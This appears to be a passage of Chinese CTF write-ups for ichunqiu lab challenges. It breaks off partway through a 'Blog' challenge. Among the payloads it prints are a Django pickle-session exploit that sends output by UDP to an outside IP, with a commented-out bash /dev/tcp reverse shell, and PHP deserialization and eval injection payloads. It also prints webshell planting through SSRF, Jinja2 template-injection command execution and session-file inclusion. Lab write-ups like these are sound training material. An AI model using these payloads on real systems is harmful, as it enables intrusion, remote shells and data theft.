通过get请求访问主页,然后对其抓包请求,也没发现可利用点参数将get请求方法修改为post.响应页面里面报错DEBUG=True.看起来和python的Django异常出错有关。根据题目内容提示c62s的生日礼物,这里我们去github搜索关键字c62s,找到一个用户名c62s 打开进入后确实存在一个python的django项目并且也是gitt.zip的压缩包,该压缩包名字也和题目名称相同,那就证实这个项目就是我们要找到的东西 对压缩包进行解压,发现需要输入密码 在项目中有提示“你要知道我的生日才能打开礼物”,那就说明密码为该项目人的生日 那么我需要生成一个生成生日字典 使用ziperello对zip压缩包加载生成的密码字典进行爆破,最终密码是20001111 通过20001111作为解压密码对压缩包进行解压得到SECRET_KEY.KEY文件,打开文件得到一个key值oa4$kkk802=rfm@tl^e5yb3qvs_ea3r!m*&j+#_+s-9=xcieci看到Key文件可以联想到Django的反序列化漏洞参考 http://blog.nsfocus.net/django-code-execution-vulnerability/ 此文章构造POC,执行脚本前需使用pip安装Django1.5版本以下。修改相关参数生成session。我这里用的Django-1.4.22执行下面脚本生成 命令whoami的反序化的session值:import os os.environ.setdefault('DJANGO_SETTINGS_MODULE','settings') from django.conf import settings from django.core import signing from django.contrib.sessions.backends import signed_cookies settings.configure(SECRET_KEY='oa4$kkk802=rfm@tl^e5yb3qvs_ea3r!m*&j+#_+s-9=xcieci') class Run(object): def __reduce__(self): # return (os.system,('touch /tmp/xxlegend.log',)) # return (os.system,('bash -i >& /dev/tcp/74.121.150.85/9999 0>&1',)) # return (os.system,('echo 111 > D:/1.txt',)) import subprocess # return (subprocess.call, # (['python','-c', # 'import os,binascii;s=binascii.hexlify(os.popen("whoami").read().strip());' # 'cmd="ping -c 1" + s + ".xxxx.dnslog.link";' # 'os.popen(cmd)' # ],)) return (subprocess.call, (['python','-c', 'import os,socket;print "xxx";c=os.popen("whoami").read().strip();s=socket.socket(socket.AF_INET, socket.SOCK_DGRAM);s.sendto(c, ("36.111.20.223",2333));' ],)) # return (subprocess.call, # (['python','-c', # 'import os,binascii;s=binascii.hexlify(os.popen("whoami").read().strip());' # 'cmd="ping -c 1 -p " + s + "www.baidu.com";' # 'os.popen(cmd)' # ],)) sess = signing.dumps(Run(), serializer=signed_cookies.PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies') print sess得到session值:gAJjc3VicHJvY2VzcwpjYWxsCnEBXXECKFUGcHl0aG9ucQNVAi1jcQRVmWltcG9ydCBvcyxzb2NrZXQ7cHJpbnQgInh4eCI7Yz1vcy5wb3Blbigid2hvYW1pIikucmVhZCgpLnN0cmlwKCk7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19ER1JBTSk7cy5zZW5kdG8oYywgKCIzNi4xMTEuMjAuMjIzIiwgMjMzMykpO3EFZYVScQYu:1mEkfh:PB_yRkY2dTK19TUZr4SH5WIdAlI在自己的公网VPS监听udp 2333端口(经过测试目标靶机系统已经禁用了TCP协议,因此curl和wget和bash都不能用,这里用UDP协议反弹NC):nc -luv 2333get请求访问admin目录,然后bupsuit抓包获取这里cookie中的sessioid里面的值替换成python脚本生成的反序化值,然后发送请求,http响应显示发生错误信息并在NC监听端口中显示了执行目标系统命令whomai的回显为root执行下面脚本生成命令ls -al的反序化的session值 得到的session值:gAJjc3VicHJvY2VzcwpjYWxsCnEBXXECKFUGcHl0aG9ucQNVAi1jcQRVmGltcG9ydCBvcyxzb2NrZXQ7cHJpbnQgInh4eCI7Yz1vcy5wb3BlbigibHMgLWFsIikucmVhZCgpLnN0cmlwKCk7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19ER1JBTSk7cy5zZW5kdG8oYywgKCIzNi4xMTEuMjAuMjIzIiwyMzMzKSk7cQVlhVJxBi4:1mElFq:LMy5FHGziZgGZwmfD6nQqhD7waQ 可以看到在NC监听命令中显示出目标靶机系统存在flag.txt文件。执行下面脚本生成命令cat flag.txt的反序化的session值得到session值:gAJjc3VicHJvY2VzcwpjYWxsCnEBXXECKFUGcHl0aG9ucQNVAi1jcQRVnmltcG9ydCBvcyxzb2NrZXQ7cHJpbnQgInh4eCI7Yz1vcy5wb3BlbigiY2F0IGZsYWcudHh0IikucmVhZCgpLnN0cmlwKCk7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19ER1JBTSk7cy5zZW5kdG8oYywgKCIzNi4xMTEuMjAuMjIzIiwyMzMzKSk7cQVlhVJxBi4:1mElJa:UbVTZP6gY5-lWbQlKDA6NuTCqQs最终得到flag:flag{8ae9c523-33f3-4946-855c-1e015412c005} 题目名称:fuzzing题目内容:there is noting 题目writeup: 启动题目场景,获得靶场网站,访问网站,在页面中显示“there is nothing" http://32987757c2bb4ecc80d2e03f8889ca8afa8770dad25f4266.changame.ichunqiu.com/Challenges/test.php这里get请求访问靶场网站的Challenges/test.php页面,通过bupsuit对其抓包,并发送请求,在http响应头部中显示内容“hint: ip,Large internal network”中文为:最大的内网网段IP,那就是10.0.0.0网段并暗示我们需要伪造内网IP进行请求,这里使用X-Forwarded-For进行伪造,所以我们随便伪造10.0.0.0网段的一个IP地址,这里伪造10.0.0.1X-Forwarded-For:10.0.0.1发送请求,在http响应头部中出现了Location: ./m4nage.php那么我们get 请求访问./m4nage.php页面,在响应页面中显示“show me your key”,意思需要提供key值,这里将key值赋值为1那么构造/Challenges/./m4nage.php?key=1,get方法发送请求,发现get请求方法不行那么将get请求方法修改为post方法提交,在响应页面中显示了一些内容 得到的内容:key is not right,md5(key)==="1b4167610ba3f2ac426a68488dbd89be",and the key is ichunqiu***,the * is in [a-z0-9] 告诉我们key不正确,并且对key 值进行md5加密生成的值等于1b4167610ba3f2ac426a68488dbd89be,也告诉了key值的部分值为ichunqiu这里通过脚本跑出key值:import hashlib def md5(data): m = hashlib.md5() m.update(data) n = m.hexdigest() return n x = 'abcdefghijklmnopqrstuvwxyz1234567890' test = 'ichunqiu' for a in x: for b in x: for c in x: if md5(test + a + b + c) == '1b4167610ba3f2ac426a68488dbd89be': print test + a + b + c 执行脚本后,得到key值得到KEY值为:ichunqiu105将post中key的参数修改为ichunqiu105,并发送请求,在http响应包中显示“the next step: xx00xxoo.php”,下一步请求访问xx00xxoo.php post请求访问xx00xxoo.php,在http响应页面中显示了一些内容。得到的响应内容为:source code is in the x0.txt.Can you guess the keythe authcode(flag) is 58e6GPQcKHY8JSGafldNziBAjUQ841Oz/11SuAgbmBfsieCE6P+ry8VFNVzWT72F/O3cLegmIiQx6CgLjuILyADMYrTVLQc告诉我们需要访问x0.txt,然后加密的falg的hash值,需要加密的key才能解密出flag,这里的 key值猜测是ichunqiu105 get请求访问x0.txt,在响应页面中得到一块php的代码。 得到php代码,看起来就是一段flag加密的函数:function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) { $ckey_length = 4; $key = md5($key ? $key : UC_KEY); $keya = md5(substr($key, 0, 16)); $keyb = md5(substr($key, 16, 16)); $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length) : substr(md5(microtime()), -$ckey_length)) : ''; $cryptkey = $keya . md5($keya . $keyc); $key_length = strlen($cryptkey); $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0) . substr(md5($string . $keyb), 0, 16) . $string; $string_length = strlen($string); $result = ''; $box = range(0, 255); $rndkey = array(); for ($i = 0; $i <= 255; $i++) { $rndkey[$i] = ord($cryptkey[$i % $key_length]); } for ($j = $i = 0; $i < 256; $i++) { $j = ($j + $box[$i] + $rndkey[$i]) % 256; $tmp = $box[$i]; $box[$i] = $box[$j]; $box[$j] = $tmp; } for ($a = $j = $i = 0; $i < $string_length; $i++) { $a = ($a + 1) % 256; $j = ($j + $box[$a]) % 256; $tmp = $box[$a]; $box[$a] = $box[$j]; $box[$j] = $tmp; $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256])); } if ($operation == 'DECODE') { if ((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26) . $keyb), 0, 16)) { return substr($result, 26); } else { return ''; } } else { return $keyc . str_replace('=', '', base64_encode($result)); } } 那么重新整理出解密falg的php代码,在代码末尾添加一句echo将结果输出看下,并且将flag密文和ichunqiu105传入。 <?phpfunction authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {$ckey_length = 4; $key = md5($key ? $key : UC_KEY);$keya = md5(substr($key, 0, 16));$keyb = md5(substr($key, 16, 16));$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length) : substr(md5(microtime()), -$ckey_length)) : ''; $cryptkey = $keya . md5($keya . $keyc);$key_length = strlen($cryptkey); $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0) . substr(md5($string . $keyb), 0, 16) . $string;$string_length = strlen($string); $result = '';$box = range(0, 255); $rndkey = array();for ($i = 0; $i <= 255; $i++) {$rndkey[$i] = ord($cryptkey[$i % $key_length]);} for ($j = $i = 0; $i < 256; $i++) {$j = ($j + $box[$i] + $rndkey[$i]) % 256;$tmp = $box[$i];$box[$i] = $box[$j];$box[$j] = $tmp;} for ($a = $j = $i = 0; $i < $string_length; $i++) {$a = ($a + 1) % 256;$j = ($j + $box[$a]) % 256;$tmp = $box[$a];$box[$a] = $box[$j];$box[$j] = $tmp;$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));} if ($operation == 'DECODE') {if ((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26) . $keyb), 0, 16)) {return substr($result, 26);} else {return '';}} else {return $keyc . str_replace('=', '', base64_encode($result));} }echo authcode("58e6GPQcKHY8JSGafldNziBAjUQ841Oz/11SuAgbmBfsieCE6P+ry8VFNVzWT72F/O3cLegmIiQx6CgLjuILyADMYrTVLQc", $operation = 'DECODE', $key = 'ichunqiu105', $expiry = 0) ?> 执行php得到:最终得到flag:flag{fa572c92-c96a-4a2c-9c58-ba84e01898ad} 题目名称:Hash 题目内容:这只是第一步,然后呢? 题目writeup: 启动题目场景,获得靶场网站,访问网站,发现页面显示一个超链接 http://d4aec9123e9b475a89be5b435cf82a1ac8e927256219481c.changame.ichunqiu.com/ 点击超链接,页面显示“you are 123;if you are not 123,you can get the flag”,表示 key的值不能为123,否则不能得到flaghttp://d4aec9123e9b475a89be5b435cf82a1ac8e927256219481c.changame.ichunqiu.com/index.php?key=123&hash=f9109d5f83921a551cf859f853afe7bb并查看源代码在注释页面中有显示“$hash=md5($sign.$key);the length of $sign is 8”,告诉hash值为md5($sign.$key)且sign长度为8 view-source:http://d4aec9123e9b475a89be5b435cf82a1ac8e927256219481c.changame.ichunqiu.com/index.php?key=123&hash=f9109d5f83921a551cf859f853afe7bb 这里将key设置为124满足能获取flag的key的值,继续访问,页面显示"the hash is not right",说明hash值不对http://d4aec9123e9b475a89be5b435cf82a1ac8e927256219481c.changame.ichunqiu.com/index.php?key=124&hash=f9109d5f83921a551cf859f853afe7bb根据上文注释中hash值:hash=md5($sign.$key)=md5($sing.124)这里我们将链接中错误的hash值 f9109d5f83921a551cf859f853afe7bb进行md5解密得到:kkkkkk01123那么$sing=kkkkkk01(满足长度为8位)于是正确的hash值:hash=md5(kkkkkk01124)=168a1bca9081fcfccd524ae21a76a7fb 访问以下构造的链接地址:http://d4aec9123e9b475a89be5b435cf82a1ac8e927256219481c.changame.ichunqiu.com/index.php?key=124&hash=77dab7fc0322d9b23ccd6f2e95a065ba页面内容显示:next step is Gu3ss_m3_h2h2.php ,意思是下一步访问 Gu3ss_m3_h2h2.php 页面 访问Gu3ss_m3_h2h2.php页面,页面显示了一块php的源码:http://d4aec9123e9b475a89be5b435cf82a1ac8e927256219481c.changame.ichunqiu.com/Gu3ss_m3_h2h2.php得到Gu3ss_m3_h2h2.php的源码:<?php class Demo { private $file = 'Gu3ss_m3_h2h2.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'Gu3ss_m3_h2h2.php') { //the secret is in the f15g_1s_here.php $this->file = 'Gu3ss_m3_h2h2.php'; } } } if (isset($_GET['var'])) { $var = base64_decode($_GET['var']); if (preg_match('/[oc]:\d+:/i', $var)) { die('stop hacking!'); } else { @unserialize($var); } } else { highlight_file("Gu3ss_m3_h2h2.php"); } ?>源码内容是php反序列化操作,由此可见是利用的PHP反序列化漏洞,下一步我们就是要通过这个存在序列化漏洞的页面构造语法来获取the f15g_1s_here.php的源码:1.看到wakeup()函数,想到了这是序列化的漏洞,wakeup()一旦执行就会调用反序列化函数,了绕过wakeup()我们将数据的属性值大于真实值即可。还有对/[oc]:\d+:/i,这个正则表达式的绕过,我们只需要将:5:变成这种形式:+5:即可绕过正则表达式的匹配。最终的秘密在f15g_1s_here.php里面,先将f15g_1s_here.php作为参数传入Demo9函数,将整个函数实例化赋值给变量a,再序列化变量a,绕过正则,绕过wakeup函数,最后再进行base64编码。 大意是用get方式传递var参数,先对它base64解码,接着正则匹配,然后对其反序列化。在反序列化时,wakeup这个函数使得我们传进去的文件名f15g_1s_here.php变成Gu3ss_m3_h2h2.php了,想要读取f15g_1s_here.php,需要绕过它。(具体见之前写的一篇反序列化中__wakeup()函数漏洞)对于用'+'绕过正则,参考了这篇文章,链接https://xz.aliyun.com/t/2733所以,构造的序列化代码如下: <?php class Demo { private $file = 'Gu3ss_m3_h2h2.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'Gu3ss_m3_h2h2.php') { //the secret is in the f15g_1s_here.php $this->file = 'Gu3ss_m3_h2h2.php'; } } } $a = new Demo('f15g_1s_here.php'); $s = serialize($a); echo $s; echo '<br>'; $s = str_replace('O:4', 'O:+4',$s);//绕过正则 $s = str_replace(':1:', ':2:' ,$s);//绕过wakeup函数 echo base64_encode($s);//最后base64编码 ?>执行php后得到反序化值:得出序列化之后的文件base64编码:TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czoxNjoiZjE1Z18xc19oZXJlLnBocCI7fQ==序列化的payload: Gu3ss_m3_h2h2.php?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czoxNjoiZjE1Z18xc19oZXJlLnBocCI7fQ==访问构造的反序化poc,可在页面获得f15g_1s_here.php的源码:http://d4aec9123e9b475a89be5b435cf82a1ac8e927256219481c.changame.ichunqiu.com/Gu3ss_m3_h2h2.php?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czoxNjoiZjE1Z18xc19oZXJlLnBocCI7fQ==f15g_1s_here.php 源码:<?php if (isset($_GET['val'])) { $val = $_GET['val']; eval('$value="' . addslashes($val) . '";'); } else { die('hahaha!'); } ?>代码中要求我们以get的方式传递一个val参数,对这个参数进行添加反斜杠的过滤方式。addslashes()函数会对单引号,双引号,反斜杠,以及%0,添加反斜杠。接下来就是利用上面的eval()函数来执行ls命令,列出靶机系统当前目录存在的文件,它将传进去的参数转义处理,然后执行,这里val是可控的,所以构造payload: f15g_1s_here.php?val=${eval("echo 'ls' ;")}访问页面显示是空白没有任何内容。http://d4aec9123e9b475a89be5b435cf82a1ac8e927256219481c.changame.ichunqiu.com/f15g_1s_here.php?val=${eval(%22echo%20%27ls%27%20;%22)} 但是addslashes对单引号,双引号,反斜杠进行了转义,所以只能用反引号(`)。而且反斜杠被转义了,使用不了引号嵌套。所以想到再利用一次get请求。payload如下: f15g_1s_here.php?val=${eval($_GET[a])}&a=echo `ls`;//注意最后的分号 http://d4aec9123e9b475a89be5b435cf82a1ac8e927256219481c.changame.ichunqiu.com/f15g_1s_here.php?val=${eval($_GET[a])}&a=echo%20`ls`;得到一个True_F1ag_i3_Here_233.php文件 进行通过cat查看True_F1ag_i3_Here_233.php内容,访问下面链接后,页面是空白的。f15g_1s_here.php?val=${eval($_GET[a])}&a=echo `cat True_F1ag_i3_Here_233.php`; http://d4aec9123e9b475a89be5b435cf82a1ac8e927256219481c.changame.ichunqiu.com/f15g_1s_here.php?val=${eval($_GET[a])}&a=echo%20`cat%20True_F1ag_i3_Here_233.php`; 进行源码查看页面,发现包含了 flag的内容 view-source:http://d4aec9123e9b475a89be5b435cf82a1ac8e927256219481c.changame.ichunqiu.com/f15g_1s_here.php?val=${eval($_GET[a])}&a=echo%20`cat%20True_F1ag_i3_Here_233.php`;或者下面是用一句话直接执行命令f15g_1s_here.php?val=${eval($_POST[a])}http://1401d6806aac45b7a87007edcc4fdda7727d1bdd535a4e40.changame.ichunqiu.com/f15g_1s_here.php?val=${eval($_POST[a])}通过蚁剑连接一句话木马,并查看到flag内容最终得到falg:flag{b004328a-5f6e-4029-98e6-34eeadc00e7f} 题目名称:Look题目内容: 我看的见你,你却看不见我。(非隐写) tips:sql injection tips2: mysql 字符集 题目writeup:启动题目场景,获得靶场网站,访问网站,发现页面是空白。访问主页,并通过bupsuit对其抓包,并发送请求,发现在http响应头中有特殊字符“x-HT:verify",告诉我们HT实际是hite的简称,隐藏了参数verify既然隐藏了verify变量参数,那么我们构造get请求为 /?verify=1,并发送请求,在响应页面中显示“verify error!!"GET /?verify=1继续构造/?verify=admin发送get请求,在响应页面显示“verify long!!”,说明verify变量存在注入构造'or 1%23 显示verify error,证明是过滤空格了经过本地测试,发现'*1%23 '%1%23 '=0# 都为真。 这里构造get请求/?verify='%1%23 ,发送请求,在响应页面显示“next page 5211ec9dde53ee65bb02225117fba1e1.php”告诉我们下一步是访问5211ec9dde53ee65bb02225117fba1e1.php页面。get请求5211ec9dde53ee65bb02225117fba1e1.php,发送请求,在响应页面显示hello,头部X-HT: viminfo,这可能告诉我们文件是vim被编辑过或者编辑后得到的隐藏文件。这里使用dirsearch.py对目标靶机进行扫描,发现扫描出.viminfo文件 python3 dirsearch.py -u http://b11bc52c08034fb3a08abb6bee1631f8f20f597b0访问.viminfo文件,得到 一个备份文件5211ec9dde53ee65bb02225117fba1e1.php.backup~~~以及它的物理路径http://b11bc52c08034fb3a08abb6bee1631f8f20f597b0b244b41.changame.ichunqiu.com/.viminfo这里访问5211ec9dde53ee65bb02225117fba1e1.php.backup~~~文件,注意文件名后还有~~,而不是5211ec9dde53ee65bb02225117fba1e1.php.backup。得到5211ec9dde53ee65bb02225117fba1e1.php源码http://b11bc52c08034fb3a08abb6bee1631f8f20f597b0b244b41.changame.ichunqiu.com/5211ec9dde53ee65bb02225117fba1e1.php.backup~~~ 5211ec9dde53ee65bb02225117fba1e1.php源码为:<?php $con = mysql_connect('localhost','root',''); mysql_query("set names utf8"); mysql_select_db("ctf"); if($_SERVER["REMOTE_ADDR"]=='8.8.8.8'){ $name = addslashes($_GET['usern3me']);//对输入转义 } else{ if(stripos($_GET['usern3me'],'Bctf2O16')!==false){ //不区分大小写寻找BCt2016 $name = 'FUCK'; } else{ $name = addslashes($_GET['usern3me']); } } echo 'hello '.$name; $sql = "select * from admin where name='$name'"; $result = mysql_query($sql); $num = mysql_num_rows($result); if($num>0){ echo '<br>next ***.php'; } ?>其中第一个if判断远程IP只是一个幌子无法伪造 接着看程序逻辑,需要输入非 Bctf2O(大写O)16但进入数据库查询又当作是Bctf2O16的一个字符串 这里利用一个mysql的字符编码特性:MYSQL 中 utf8_unicode_ci 和 utf8_general_ci 两种编码格式, utf8_general_ci不区分大小写, Ä = A, Ö = O, Ü = U 这三种条件都成立, 对于utf8_general_ci下面的等式成立:ß = s ,但是,对于utf8_unicode_ci下面等式才成立:ß = ss 。因此ç=c或者ô=o 于是访问:http://b11bc52c08034fb3a08abb6bee1631f8f20f597b0b244b41.changame.ichunqiu.com/5211ec9dde53ee65bb02225117fba1e1.php?usern3me=Bctf2O16页面内容显示“heelo fuck"显然没有被绕过 这里将Bctf2O16修改为Bçtf2O16访问http://b11bc52c08034fb3a08abb6bee1631f8f20f597b0b244b41.changame.ichunqiu.com/5211ec9dde53ee65bb02225117fba1e1.php?usern3me=B%C3%A7tf2O16在页面中显示了c3368f5eb5f8367fd548b228bee69ef2.php内容,告诉我们下一步应该访问该文件 访问c3368f5eb5f8367fd548b228bee69ef2.php文件,得到其源码http://b11bc52c08034fb3a08abb6bee1631f8f20f597b0b244b41.changame.ichunqiu.com/c3368f5eb5f8367fd548b228bee69ef2.php c3368f5eb5f8367fd548b228bee69ef2.php源码:<?php if(isset($_GET['path']) && isset($_GET['filename'])){ $path = $_GET['path']; $name = "upload/".$_GET['filename']; } else{ show_source(__FILE__); exit(); } if(strpos($name,'..') > -1){ //从$name 寻找.. 所以想通过../的方法去变量的不可行的 echo 'WTF'; exit(); } if(strpos($path,'http://127.0.0.1/') === 0){ //$path 必须以http://127.0.0.1/ 开头 file_put_contents($name,file_get_contents($path)); //这里是http协议就直接读出返回是数据,然后写入文件里面,我开始想的是php文件流去干事情,但是前面一关条件限制死了,如果没有前面那个条件,我觉得可以用php://input 来命令执行 } else{ echo 'path error'; } ?> http://127.0.0.1/下的文件就是目标靶机网站下的文件为了弄清怎么构造POC,于是就在本地做了一个测试,测试代码如下:ttest.php<?phpif(isset($_GET['path']) && isset($_GET['filename'])){ $path = $_GET['path']; $name = $_GET['filename'];} file_put_contents($name,file_get_contents($path));?>test.php <?php$name=$_GET[1];echo 'hello '.$name;?>我们在本地访问这个url:http://127.0.0.1/ttest.php?filename=1234.php&path=test.php这时候是把test.php文件的内容写到了1234.php里面: 如果path前面加上http://127.0.0.1,写入的内容变成了hello。这是为什么呢?如果我们不加http://127.0.0.1,我们相当于访问的是我们自己的文件系统,也就是直接访问到test.php的内容。如果我们加上了http://127.0.0.1,访问得到的内容可以理解成curl这个链接得到的内容,也就是我们的响应头里的内容,应该是这个页面的源码:因为上个页面的usern3me的内容是我们可控的,因此,我们可以直接将一句话写入到filename=后的文件中。POC为: http://127.0.0.1/ttest.php?filename=1.php&path=http://127.0.0.1/5211ec9dde53ee65bb02225117fba1e1.php?usern3me=<?php%2520eval($_POST[feng]);?> //这里空格需要用%2520分割 根据以上测试原理,本题我们可以构造为:http://b11bc52c08034fb3a08abb6bee1631f8f20f597b0b244b41.changame.ichunqiu.com/c3368f5eb5f8367fd548b228bee69ef2.php?filename=bk.php&path=http://127.0.0.1/5211ec9dde53ee65bb02225117fba1e1.php?usern3me=<?php%2520eval($_POST[0]);?>那么就将一句话写入到bk.php中,通过c3368f5eb5f8367fd548b228bee69ef2.php上文源码分析,我们上传的文件保存到upload目录下那么一句话的访问路径为:http://b11bc52c08034fb3a08abb6bee1631f8f20f597b0b244b41.changame.ichunqiu.com/upload/bk.php通过蚁剑链接一句话 成功链接,得到flag的内容最终flag为:flag{480ebe9f-86c4-42d0-8427-3dc11d6cf1c7} 题目名称:Fuzz题目内容:Can you?题目writeup:启动题目场景,获得靶场网站,访问网站,发现页面显示内容“plz fuzz parameter”,告诉我们需要fuzz参数变量 通过抓包我们对其fuzz变量GET /?§xxx§ HTTP/1.1Host: 713f80a92b1c492783d6241ae10088fb6fef8a5a93ec4302.changame.ichunqiu.comUser-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:15.0) Gecko/20100101 Firefox/15.0.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateCookie: name="{{ config['RUNCMD']('python /tmp/get.py'\054shell=True) }}"; __jsluid_h=6fb91d4763af41c45644fd191e7919beConnection: closefuzz出变量为name那么构造参数变量访问:http://713f80a92b1c492783d6241ae10088fb6fef8a5a93ec4302.changame.ichunqiu.com/?name=1访问robots.txt,发现是一条蛇,猜测是与python有关测试该页面是否存在模板注入,输入{{11-2}},发现页面内容显示计算出9,那么是存在pyhton的模板注入。http://713f80a92b1c492783d6241ae10088fb6fef8a5a93ec4302.changame.ichunqiu.com/?name={{11-2}}通过百度搜索发现该题存在jinja2代码执行漏洞:方法一:寻找可用引用类型(通过父类来找其中任意一个子类的引用列表),可以看到calss类为type file在列表40的位置http://713f80a92b1c492783d6241ae10088fb6fef8a5a93ec4302.changame.ichunqiu.com/?name={{%27%27.__class__.__mro__[2].__subclasses__()}} 写入一个配置文件owned.cfg到tmp目录下,然后该配置文件可以启用RUNCMD 可执行命令功能http://713f80a92b1c492783d6241ae10088fb6fef8a5a93ec4302.changame.ichunqiu.com/?name={{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}http://713f80a92b1c492783d6241ae10088fb6fef8a5a93ec4302.changame.ichunqiu.com/?name={{ config.from_pyfile('/tmp/owned.cfg') }}查看系统ID?name={{ config['RUNCMD']('/usr/bin/id',shell=True) }}通过测试发现系统过滤了ls dir等命令,可通过$ {}来绕过执行查看/var/www/html/(apache默认的网站目录)目录下存在的文件当前www目录下存在fl4g和x.py文件 查看flag内容?name={{ config['RUNCMD']('a=c;b=at;c=fl;d=4g;$a$b /var/www/html/${c}${d}',shell=True) }} 方法二:通过测试发现系统过滤了ls dir等命令,可通过$ {}来绕过执行查看/var/www/html/(apache默认的网站目录)目录下存在的文件当前www目录下存在fl4g和x.py文件 这里将print open('/var/www/html/fl4g','r').read()读取flag的python代码进行base4编码写入到tmp/get.pyenbase64(print open('/var/www/html/fl4g','r').read()): cHJpbnQgb3BlbignL3Zhci93d3cvaHRtbC9mbDRnJywncicpLnJlYWQoKQ=={{ config['RUNCMD']('echo cHJpbnQgb3BlbignL3Zhci93d3cvaHRtbC9mbDRnJywncicpLnJlYWQoKQ==|base64 -d>/tmp/get.py',shell=True) }}http://713f80a92b1c492783d6241ae10088fb6fef8a5a93ec4302.changame.ichunqiu.com/?name={{ config['RUNCMD']('echo cHJpbnQgb3BlbignL3Zhci93d3cvaHRtbC9mbDRnJywncicpLnJlYWQoKQ==|base64 -d>/tmp/get.py',shell=True) }}http://713f80a92b1c492783d6241ae10088fb6fef8a5a93ec4302.changame.ichunqiu.com/?name={{ config['RUNCMD']('python /tmp/get.py',shell=True) }}最终得到flag:flag{987cd50d-f6a7-4a26-9aaa-83a34ce81688} 题目名称:notebook题目内容:文件包含phpinfo是不是有新的发现题目writeup:启动题目场景,获得靶场网站,访问网站,发现是一个登陆页面,发现file参数是可控,看起来像文件包含漏洞http://f141cc048b7a4261968b6789b8046e35234c110c6dfa4bac.changame.ichunqiu.com/action.php?module=php&file=login构造文件包含读取pnpinfo文件内容,发现是空白的http://f141cc048b7a4261968b6789b8046e35234c110c6dfa4bac.changame.ichunqiu.com/action.php?module=php&file=phpinfo按照正常流程走一遍,先注册一个账号test/test,成功登陆,登录后显示“欢迎,test,there is no flag”。上文直接get请求包含phpinfo没有任何发现,现在登录系统,并对其抓包,将file参数值改为phpinfo进行发送,响应页面显示空白尝试将module参数修改为空,再次发送请求,响应页面中出现"the phpinfo didn't exist'phpinfo文件不存在 尝试访问robots.txt,发现网站包含了php1nFo.php文件可访问。http://f141cc048b7a4261968b6789b8046e35234c110c6dfa4bac.changame.ichunqiu.com/robots.txt访问php1nFo.php文件,访问得到php配置信息,在php配置信息中可以看到:http://f141cc048b7a4261968b6789b8046e35234c110c6dfa4bac.changame.ichunqiu.com/php1nFo.php open_basedir是可将用户访问文件的活动范围限制在指定的区域。注意用open_basedir指定的限制实际上是前缀,而不是目录名。 session.save_path就是session文件存在的位置。举个例子: 若open_basedir =/dir/user,那么目录/dir/user和/dir/user1都是可以访问的。所以如果要将访问限制在仅为指定的目录,可用斜线结束路径名。例如设置成: open_basedir =/dir/user/ 那么问题来了,我们只能控制/tmp目录,/var/lib/php5这个目录是包含不了的。尝试将module参数修改为空,file参数设置为php1nFo.php进行文件包含请求,发现session.save_path路径变成了/tmp/SESSsession 的文件名格式为 sess_[PHPSESSID],而 sessionid 在发送的请求的 cookie 字段中PHPSESSID值也可以看到因此session文件名为:sess_1q822v7v6alpragha75bs3a3c3 接下来对session的文件名进行文件包含读取 /action.php?module=&file=../../../../tmp/SESS/sess_1q822v7v6alpragha75bs3a3c3 在响应页面中,test用户名被显示,用户名是可控的。接下来注册用户名为<?php system('ls'); ?>,登录后用户名被显示。再次对session的文件名进行文件包含读取,在响应页面中能读取到系统当前网站目录下存在flag.php文件/action.php?module=&file=../../../../tmp/SESS/sess_1q822v7v6alpragha75bs3a3c3 然后接着注册用户名<?php system('cat flag.php'); ?>,登录后用户名被显示。 最后,尝试读取flag,页面上并没有回显,查看源代码得到flag/action.php?module=&file=../../../../tmp/SESS/sess_v6en5e2u91i4lupdt0tnpbhas4 post:cmd=system('cat flag.php'); 最终得到flag:flag{02415d0d-5c5d-4daf-bec2-610e56e6dfa4} 题目名称:Blog题目内容:请帮我测试一下刚写的Blog 题目writeup:启动题目场景,获得靶场网站,访问网站,得到一个 Mini-Blog的欢迎页面http://0375bc6103e1422db9462ea766cdf740394aadc27dcd41f1.changame.ichunqiu.com/index.php注册一个账号admin/admin,提示用户名或者密码错误 又尝试注册另一个账号test/test,发现可以注册,并登陆成功http://0375bc6103e1422db9462ea766cdf740394aadc27dcd41f1.changame.ichunqiu.com/user.php证明靶机系统中是存在admin账号 尝试访问robots.txt,发现系统隐藏包含了flag.php文件http://0375bc6103e1422db9462ea766cdf740394aadc27dcd41f1.changame.ichunqiu.com/robots.txt访问flag.php文件,提示flag就在此文件中,这里我们需要想办法读取,如任意文件包含读取。http://0375bc6103e1422db9462ea766cdf740394aadc27dcd41f1.changame.ichunqiu.com/flag.php 